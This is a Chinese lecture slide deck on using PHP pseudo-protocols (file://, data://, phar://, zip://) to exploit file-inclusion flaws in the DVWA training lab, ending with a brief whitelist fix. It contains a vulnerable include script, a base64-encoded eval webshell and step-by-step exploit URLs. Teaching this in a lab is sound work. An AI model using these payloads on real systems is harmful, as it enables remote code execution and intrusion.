第28讲filedataphar与zip伪协议应用96课件.pptxVIP

  • 1
  • 0
  • 约2.26千字
  • 约 15页
  • 2025-10-24 发布于陕西
  • 举报

第28讲filedataphar与zip伪协议应用96课件.pptx

第28讲file、data、phar与zip伪协议应用任毅

引言在php中,还有file://、data://、phar://、zip://等伪协议,这些协议与安全相关,甚至可以用来作渗透。

小测试file://和data://伪协议有何作用?

学习目标1、了解file://、data://、phar://、zip://伪协议的作用,文件包含漏洞修复方法2、能完成file://、data://、phar://、zip://伪协议的利用3、增加file://与data://、phar://、zip:/伪协议渗透防范的能力

file://伪协议file://伪协议可以访问本地文件系统,读取文件内容。例如DVWA平台下读取C:\windows\system.ini文件内容:准备一个php文件,内容为:?php$filename=$_GET[filename];include($filename);?放入www/test文件夹中,利用此文件读取system.ini内容,如下所示:

data://伪协议data://伪协议主要用于数据流的读取,传入的数据是PHP代码,就会执行其中的代码。使用格式如下:data://text/plain;base64,XXX(PHP代码的base64编码)利用data://伪协议时,PHP配置文件需要开启allow_url_include和allow_url_fopen。示例代码:?php$filename=$_GET[filename];include($filename);?

data://伪协议将示例代码保存为test.php文件,利用文件上传漏洞上传到dvwa平台下../../hackable/uploads目录中。将代码?php@eval($_REQUEST[cmd]);phpinfo();?转换为base64编号,为:IDw/cGhwIEBldmFsKCRfUkVRVUVTVFsnY21kJ10pOyBwaHBpbmZvKCk7ID8+,将最后的+号进行URL编码(%2b),最终输入的数据是:IDw/cGhwIEBldmFsKCRfUkVRVUVTVFsnY21kJ10pOyBwaHBpbmZvKCk7ID8%2b无需登录到dvwa,在URL输入:30/dvwa/hackable/uploads/test.php?filename=data://text/plain;base64,IDw/cGhwIEBldmFsKCRfUkVRVUVTVFsnY21kJ10pOyBwaHBpbmZvKCk7ID8%2b

data://伪协议显示如下,成功获取的php配置信息。

phar://伪协议phar://是用来解压的伪协议,phar://参数中的文件不管是什么后缀名,都会被当作压缩包。phar://用法如下:?filename=phar://压缩包/内部文件使用phar://伪协议时,PHP版本应高于5.3.0,PHP配置文件应开启allow_url_fopen和allow_url_include。示例代码:?php$filename=$_GET[filename];include($filename);?

phar://伪协议将示例代码保存为test.php文件,利用文件上传漏洞上传到dvwa平台下../../hackable/uploads目录中。准备一个cmd.php文件,代码为:?php@eval($_REQUEST[cmd]);phpinfo();?,使用winrar之类的压缩工具,将其压缩为cmd.zip文件(不能加密码),利用上传漏洞,将cmd.zip文件上传到../../hackable/uploads/文件夹中。无需登录到DVWA,在Firefox地址栏中输入:30/dvwa/hackable/uploads/test.php?filename=phar://cmd.zip/cmd.php

phar://伪协议得到如下的结果,成功获得PHP配置信息。将攻击代码压缩后利用,比较隐蔽。

zip://伪协议zip://伪协议与phar://伪协议使用基本相同,其使用格式为:?filename=zip://压缩包#内部文件与phar://伪协议不同的是使用#分隔压缩包与内部文件,其它使用方法相同,符号#的URL编号为%23。无需登录到DVWA,在Firefox地址栏中输入以下:30/dvwa/hackable/uploads/test.php?filename=zip://cmd.zip%23cmd.php得到如下结果,成功获得PHP配置信息。

文件包含漏洞修复办法(1)代码层修复通过代码层进行过滤,将包含的参数设置为白名单

文档评论(0)

1亿VIP精品文档

相关文档